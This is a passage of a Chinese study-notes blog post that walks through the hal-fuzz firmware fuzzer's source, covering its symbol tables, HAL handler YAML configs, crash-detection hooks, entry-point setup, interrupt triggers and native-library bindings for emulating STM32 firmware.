class="keyword">in</span> config[<span class="string">'symbols'</span>].items()}</span><br></pre></td></tr></table></figure><p>配置文件中符号表部分的内容如下,都是 address : symbol_name 的格式:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">symbols:</span> {</span><br><span class="line"> <span class="attr">134218333:</span> <span class="string">__aeabi_uldivmod</span>, <span class="attr">134219789:</span> <span class="string">memcpy</span>, <span class="attr">134222317:</span> <span class="string">Reset_Handler</span>,</span><br><span class="line"> <span class="attr">134222621:</span> <span class="string">_isatty</span>, <span class="attr">134222645:</span> <span class="string">_lseek</span>, <span class="attr">134222733:</span> <span class="string">User_notification</span>, <span class="attr">134222777:</span> <span class="string">ethernetif_notify_conn_changed</span>,</span><br><span class="line"> <span class="attr">134222885:</span> <span class="string">HAL_ETH_MspInit</span>, <span class="attr">134223349:</span> <span class="string">low_level_init</span>, <span class="attr">134223685:</span> <span class="string">low_level_output</span>,</span><br><span class="line"> <span class="attr">134224009:</span> <span class="string">low_level_input</span>, <span class="attr">134224365:</span> <span class="string">ethernetif_input</span>, <span class="attr">134224429:</span> <span class="string">ethernetif_init</span>,</span><br><span class="line"> <span class="attr">134224525:</span> <span class="string">sys_now</span>, <span class="attr">134224541:</span> <span class="string">ethernetif_set_link</span>, <span class="attr">134224625:</span> <span class="string">ethernetif_update_config</span>,</span><br></pre></td></tr></table></figure><h3 id="handlers设置"><a href="#handlers设置" class="headerlink" title="handlers设置"></a>handlers设置</h3><p>设置handlers的过程</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"> <span class="string">"""设置handlers"""</span></span><br><span class="line"> <span class="comment"># Step 3: Set the handlers</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'handlers'</span> <span class="keyword">in</span> config <span class="keyword">and</span> config[<span class="string">'handlers'</span>]:</span><br><span class="line"> <span class="comment"># 函数名fname,对应handler_desc为:{handler: hal_fuzz.handlers.generic.return_zero ...()...}</span></span><br><span class="line"> <span class="keyword">for</span> fname, handler_desc <span class="keyword">in</span> config[<span class="string">'handlers'</span>].items():</span><br><span class="line"> <span class="comment"># 如果这个handler的地址总是固定的,它会自带addr这个信息,就用这个handler地址</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'addr'</span> <span class="keyword">in</span> handler_desc <span class="keyword">and</span> <span class="built_in">isinstance</span>(handler_desc[<span class="string">'addr'</span>], <span class="built_in">int</span>):</span><br><span class="line"> <span class="comment"># This handler is always at a fixed address</span></span><br><span class="line"> handler_desc[<span class="string">'addr'</span>] = handler_desc[<span class="string">'addr'</span>] & <span class="number">0xFFFFFFFE</span> <span class="comment"># Clear thumb bit</span></span><br><span class="line"> addr_to_name[handler_desc[<span class="string">'addr'</span>]] = fname</span><br><span class="line"> <span class="comment"># 然而大部分情况是只有符号名跟对应的handler是信息,没有固定地址的情况下,需要查找符号表</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="comment"># No static address specified, look in the symbol table</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> name_to_addr:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Need symbol table in order to hook named functions!"</span>)</span><br><span class="line"> sys.exit(<span class="number">1</span>)</span><br><span class="line"> <span class="comment"># 如果没有在符号表对应找到项目,这个hook就做不出来</span></span><br><span class="line"> <span class="keyword">if</span> fname <span class="keyword">not</span> <span class="keyword">in</span> name_to_addr:</span><br><span class="line"> <span class="comment"># We can't hook this</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"No symbol found for %s"</span> % fname)</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> <span class="comment"># 添加addr项目,填入对应的符号表的address数字</span></span><br><span class="line"> handler_desc[<span class="string">'addr'</span>] = name_to_addr[fname]</span><br><span class="line"> <span class="comment"># 默认设置do_return选项为true</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> <span class="string">'do_return'</span> <span class="keyword">in</span> handler_desc:</span><br><span class="line"> handler_desc[<span class="string">'do_return'</span>] = <span class="literal">True</span></span><br><span class="line"><span class="comment"># 如果没有handler就设置为None</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'handler'</span> <span class="keyword">not</span> <span class="keyword">in</span> handler_desc:</span><br><span class="line"> handler_desc[<span class="string">'handler'</span>] = <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># Hook 的具体操作发生在这个add_func_hook函数中</span></span><br><span class="line"> <span class="comment"># Actually hook the thing</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Handling function %s at %#08x with %s"</span> % (fname, handler_desc[<span class="string">'addr'</span>], handler_desc[<span class="string">'handler'</span>]))</span><br><span class="line"> add_func_hook(uc, handler_desc[<span class="string">'addr'</span>], handler_desc[<span class="string">'handler'</span>], do_return=handler_desc[<span class="string">'do_return'</span>])</span><br></pre></td></tr></table></figure><p>/configs/hals/stm32f4_hal.yml中的handlers配置的部分内容,这里应该是一些针对这个stm32板子的比较通用的基础的handler替换,我们也可以看到hal_fuzz.handlers中有很多针对各种stm32板子的写好了的handler函数</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">handlers:</span></span><br><span class="line"> <span class="attr">HAL_Init:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_InitTick:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">SystemClock_Config:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">SystemInit:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_RCC_ClockConfig:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_RCC_OscConfig:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> </span><br><span class="line"> <span class="attr">HAL_SYSTICK_Config:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_base.systick_config</span></span><br><span class="line"> <span class="attr">HAL_SYSTICK_CLKSourceConfig:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br><span class="line"> <span class="attr">HAL_TIM_ConfigClockSource:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_TIMEx_MasterConfigSynchronization:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">HAL_TIM_Base_Start_IT:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_tim.tim_base_start_it</span></span><br><span class="line"> <span class="attr">HAL_TIM_Base_Stop_IT:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_tim.tim_base_stop_it</span></span><br><span class="line"> <span class="attr">HAL_TIM_IRQHandler:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_tim.tim_irq_handler</span></span><br><span class="line"> </span><br><span class="line"> <span class="attr">HAL_ETH_Init:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">wifi_init:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_wifi.wifi_init</span></span><br><span class="line"> <span class="attr">wifi_wakeup:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br><span class="line"> <span class="attr">Wifi_SysTick_Isr:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br><span class="line"> <span class="attr">Wifi_TIM_Handler:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_wifi.wifi_tim_handler</span></span><br><span class="line"> <span class="attr">wifi_socket_server_open:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_wifi.wifi_socket_server_open</span></span><br><span class="line"> <span class="attr">wifi_socket_server_write:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.stm32f4_hal.stm32f4_wifi.wifi_socket_server_write</span></span><br><span class="line"> <span class="attr">wifi_ap_start:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br><span class="line"> <span class="attr">Receive_Data:</span></span><br><span class="line"> <span class="attr">handler:</span></span><br></pre></td></tr></table></figure><p>主配置文件./tests/stm32_tcp_echo/stm32_tcp_echo_server.yml中的handlers内容如下,这里应该是自主添加的一些handler配置</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">handlers:</span></span><br><span class="line"> <span class="attr">BSP_IO_ConfigPin:</span></span><br><span class="line"> <span class="attr">handler:</span> </span><br><span class="line"> <span class="attr">tcp_next_iss:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.lwip.tcp_next_iss_hack</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">I2C_WaitOnFlagUntilTimeout:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">I2C_WaitOnMasterAddressFlagUntilTimeout:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">I2C_WaitOnTXEFlagUntilTimeout:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">I2C_WaitOnBTFFlagUntilTimeout:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br><span class="line"> <span class="attr">I2C_WaitOnRXNEFlagUntilTimeout:</span></span><br><span class="line"> <span class="attr">handler:</span> <span class="string">hal_fuzz.handlers.generic.return_zero</span></span><br></pre></td></tr></table></figure><h3 id="其他设置"><a href="#其他设置" class="headerlink" title="其他设置"></a>其他设置</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">if args.ram_trace_file is not None:</span></span><br><span class="line"> <span class="string">trace_mem.init_ram_tracing(uc,</span> <span class="string">args.ram_trace_file,</span> <span class="string">config)</span></span><br><span class="line"></span><br><span class="line"><span class="attr">if args.bb_trace_file is not None:</span></span><br><span class="line"> <span class="string">trace_bbs.register_handler(uc,</span> <span class="string">args.bb_trace_file)</span></span><br><span class="line"></span><br><span class="line"><span class="attr">if args.debug and args.trace_memory:</span></span><br><span class="line"> <span class="string">add_block_hook(unicorn_debug_block)</span></span><br><span class="line"> <span class="string">uc.hook_add(UC_HOOK_MEM_WRITE</span> <span class="string">|</span> <span class="string">UC_HOOK_MEM_READ,</span> <span class="string">unicorn_debug_mem_access)</span></span><br><span class="line"></span><br><span class="line"><span class="attr">if args.debug and args.trace_funcs:</span></span><br><span class="line"> <span class="string">add_block_hook(unicorn_trace_syms)</span></span><br></pre></td></tr></table></figure><h3 id="Crash-Detector设置"><a href="#Crash-Detector设置" class="headerlink" title="Crash Detector设置"></a>Crash Detector设置</h3><p>碰撞检测问题,使用hal-fuzz写的超级变态的detector工具</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># This is our super nasty crash detector</span></span><br><span class="line">uc.hook_add(UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_READ_INVALID, unicorn_debug_mem_invalid_access)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>?????</p><h3 id="入口点设置"><a href="#入口点设置" class="headerlink" title="入口点设置"></a>入口点设置</h3><p>通过修改uc的PC和SP两个寄存器的值来设置程序到该起始的位置。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Set the program entry point</span></span><br><span class="line"><span class="comment"># <span class="doctag">TODO:</span> Make this arch-independent</span></span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> <span class="string">'entry_point'</span> <span class="keyword">in</span> config:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Binary entry point missing! Make sure 'entry_point is in your configuration"</span>)</span><br><span class="line"> sys.exit(<span class="number">1</span>)</span><br><span class="line"><span class="comment"># Set the initial stack pointer</span></span><br><span class="line"><span class="comment"># <span class="doctag">TODO:</span> make this arch-independent</span></span><br><span class="line">uc.reg_write(UC_ARM_REG_PC, config[<span class="string">'entry_point'</span>])</span><br><span class="line">uc.reg_write(UC_ARM_REG_SP, config[<span class="string">'initial_sp'</span>])</span><br></pre></td></tr></table></figure><p>这个是在stm32_tcp_echo_server_addrs.yml配置文件,其中就有 entry_point 和 symbols 的内容,可以看到这个entry point就是Reset Handler的符号位置</p><p><img src="/2023/01/09/hal-fuzz%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-part-1/uTools_1673194920693.png" class="lazyload placeholder" data-srcset="/2023/01/09/hal-fuzz%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-part-1/uTools_1673194920693.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1673194920693"></p><p>这里这个handler会被模拟用来正确执行afl-unicorn??</p><h3 id="中断触发器"><a href="#中断触发器" class="headerlink" title="中断触发器"></a>中断触发器</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"> <span class="comment"># Implementation detail: Interrupt triggers need to be configured before the nvic (to enable multiple interrupt enabling)</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'interrupt_triggers'</span> <span class="keyword">in</span> config:</span><br><span class="line"> interrupt_triggers.init_triggers(uc, config[<span class="string">'interrupt_triggers'</span>])</span><br><span class="line"><span class="comment"># nvic为内嵌向量中断控制器,如果使用nvic,将vtor设置为默认量</span></span><br><span class="line"> use_nvic = (<span class="string">'use_nvic'</span> <span class="keyword">in</span> config <span class="keyword">and</span> config[<span class="string">'use_nvic'</span>] <span class="keyword">is</span> <span class="literal">True</span>)</span><br><span class="line"> <span class="keyword">if</span> use_nvic:</span><br><span class="line"> <span class="comment"># NVIC_VTOR_NONE = 0xffffffff</span></span><br><span class="line"> vtor = globs.NVIC_VTOR_NONE</span><br><span class="line"> <span class="comment"># DEFAULT_NUM_NVIC_VECS = 128</span></span><br><span class="line"> num_vecs = globs.DEFAULT_NUM_NVIC_VECS</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'nvic'</span> <span class="keyword">in</span> config:</span><br><span class="line"> num_vecs = config[<span class="string">'nvic'</span>][<span class="string">'num_vecs'</span>] <span class="keyword">if</span> <span class="string">'num_vecs'</span> <span class="keyword">in</span> config[<span class="string">'nvic'</span>] <span class="keyword">else</span> globs.DEFAULT_NUM_NVIC_VECS</span><br><span class="line"></span><br><span class="line"> native.init_nvic(uc, vtor, num_vecs, <span class="literal">False</span>)</span><br></pre></td></tr></table></figure><p>这里还是要求native模式开启,有native_lib存在才能成功init_nvic,使用中断触发器</p><h3 id="配置抽象语义模型"><a href="#配置抽象语义模型" class="headerlink" title="配置抽象语义模型"></a>配置抽象语义模型</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="string">def configure_models(uc, config):</span></span><br><span class="line"><span class="string"> for mdl in models:</span></span><br><span class="line"><span class="string"> mdl.configure(uc, config)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">class Model:</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> @classmethod</span></span><br><span class="line"><span class="string"> def configure(cls, uc, config):</span></span><br><span class="line"><span class="string"> pass</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> def __init__(self, *args, **kwargs):</span></span><br><span class="line"><span class="string"> pass</span></span><br><span class="line"><span class="string">???所以configure_models这个玩意有个锤子用???</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"> <span class="comment"># Configure abstract peripheral models</span></span><br><span class="line"> configure_models(uc, config)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>????</p><h3 id="注册non-native的hook函数"><a href="#注册non-native的hook函数" class="headerlink" title="注册non-native的hook函数"></a>注册non-native的hook函数</h3><p>在add_func_hook函数中address : hook_function_object的映射存在func_hooks字典中,现在我们加载这个字典</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># At the end register the non-native accumulating block hook if any unconditional hooks have been registered</span></span><br><span class="line"><span class="keyword">if</span> handlers.func_hooks:</span><br><span class="line"> <span class="comment"># In the native version we use a native check wrapper to avoid unconditional python block hooks</span></span><br><span class="line"> <span class="comment"># 这个handlers.func_hooks.keys()就是要替换的address列表</span></span><br><span class="line"> native.register_cond_py_handler_hook(uc, handlers.func_hooks.keys())</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"No function hooks found. Registering no native basic block hook for that"</span>)</span><br><span class="line"></span><br><span class="line">uc.symbols = name_to_addr</span><br><span class="line">uc.syms_by_addr = addr_to_name</span><br><span class="line">uc = add_sparkles(uc, args)</span><br><span class="line">register_global_block_hook(uc)</span><br><span class="line"><span class="keyword">return</span> uc</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="关于handlers-add-func-hook-func-hook-handler函数"><a href="#关于handlers-add-func-hook-func-hook-handler函数" class="headerlink" title="关于handlers.add_func_hook func_hook_handler函数"></a>关于handlers.add_func_hook func_hook_handler函数</h2><p>该函数位于<code>hal_fuzz/handlers/__init__.py</code>文件中,实际上就是将address : hook_function_object的映射存在func_hooks字典中</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add_func_hook</span>(<span class="params">uc, addr, func, do_return=<span class="literal">True</span></span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Add a function hook.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> If func is None (and do_return is True) this is effectively a nop-out without using a real hook!</span></span><br><span class="line"><span class="string"> Makes it faster to not have to call into python for hooks we don't need.</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"></span><br><span class="line"> real_addr = addr & <span class="number">0xFFFFFFFE</span> <span class="comment"># Drop the thumb bit</span></span><br><span class="line"> <span class="keyword">if</span> func:</span><br><span class="line"> <span class="comment"># 根据模块名从相应的python模块加载函数对象</span></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">isinstance</span>(func, <span class="built_in">str</span>):</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="comment"># Resolve the function name</span></span><br><span class="line"> mod_name, func_name = func.rsplit(<span class="string">'.'</span>, <span class="number">1</span>)</span><br><span class="line"> mod = importlib.import_module(mod_name)</span><br><span class="line"> func_obj = <span class="built_in">getattr</span>(mod, func_name)</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="keyword">import</span> traceback</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Unable to hook function %s at address %#08x"</span> % (<span class="built_in">repr</span>(func), addr))</span><br><span class="line"> traceback.print_exc()</span><br><span class="line"> do_exit(<span class="number">1</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> func_obj = func</span><br><span class="line"><span class="comment"># func_hooks字典:{real_addr : func_obj},在func_hooks字典中添加新的对象(后面会统一集中处理)</span></span><br><span class="line"> <span class="keyword">if</span> real_addr <span class="keyword">not</span> <span class="keyword">in</span> func_hooks:</span><br><span class="line"> func_hooks[real_addr] = []</span><br><span class="line"> func_hooks[real_addr].append(func_obj)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> do_return:</span><br><span class="line"> <span class="comment"># <span class="doctag">TODO:</span> Make this arch-independent. Hint, use archinfo</span></span><br><span class="line"> bxlr = <span class="string">b'\x70\x47'</span></span><br><span class="line"> uc.mem_write(real_addr, bxlr)</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="关于native-init函数"><a href="#关于native-init函数" class="headerlink" title="关于native.init函数"></a>关于native.init函数</h2><p>native.py中的init函数如下,这个函数中,可以看到所有的东西实际上都要从这个native_lib_path加载native_lib来处理,这个native_lib是使用ctyps库加载兼容的C函数dll。</p><p>默认的native_lib的代码位置是 /native/native_hooks.so </p><blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">init</span>(<span class="params">uc, native_lib_path, fuzz_mmio, mmio_regions, max_num_dynamically_added_mmio_pages, exit_at_bbls, allowed_fuzzed_irqs</span>):</span></span><br><span class="line"> <span class="keyword">global</span> native_lib</span><br><span class="line"> <span class="keyword">global</span> mmio_cb_wrapper</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Native init..."</span>)</span><br><span class="line"> sys.stdout.flush()</span><br><span class="line"> native_lib = _load_lib(native_lib_path)</span><br><span class="line"> <span class="keyword">assert</span> (native_lib <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>)</span><br><span class="line"> <span class="comment"># GENERAL</span></span><br><span class="line"> <span class="comment"># uc_err init(uc_engine *uc, int fuzz_mmio, exit_hook_t p_exit_hook, mmio_region_added_cb_t p_mmio_region_added_cb, int p_num_mmio_regions, uint64_t *p_mmio_starts, uint64_t *p_mmio_ends, void *p_py_default_mmio_user_data, int max_num_dynamically_added_mmio_pages, uint32_t num_exit_at_bbls, uint64_t *exit_at_bbls, uint32_t num_allowed_irq_numbers, uint8_t *allowed_irq_numbers);</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"init"</span>, ctypes.c_int, uc_engine, ctypes.c_int, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_int, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_int, ctypes.c_uint, ctypes.c_void_p, ctypes.c_uint, ctypes.c_void_p)</span><br><span class="line"> <span class="comment"># uc_err register_cond_py_handler_hook(uc_cb_hookcode_t py_callback, uint64_t *addrs, int num_addrs)</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"register_cond_py_handler_hook"</span>, ctypes.c_int, uc_engine, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_int)</span><br><span class="line"> <span class="comment"># uc_err remove_function_handler_hook_address(uc_engine * uc, uint64_t address);</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"remove_function_handler_hook_address"</span>, ctypes.c_int, uc_engine, ctypes.c_uint64)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># FUZZING</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"load_fuzz"</span>, ctypes.c_int, ctypes.c_char_p)</span><br><span class="line"> <span class="comment"># uint32_t fuzz_remaining();</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"fuzz_remaining"</span>, ctypes.c_int)</span><br><span class="line"> <span class="comment"># char *get_fuzz_ptr(uint32_t size);</span></span><br><span class="line"> _setup_prototype(native_lib, <span class="string">"get_fuzz_ptr"</span>, ctypes.c_void_p, ctypes.c_uint32)</span><br><span class="line"> <span class="comment"># uc_err add_unmapped_mem_hook(uc_engine *uc)</span></span><br><span class="line"> 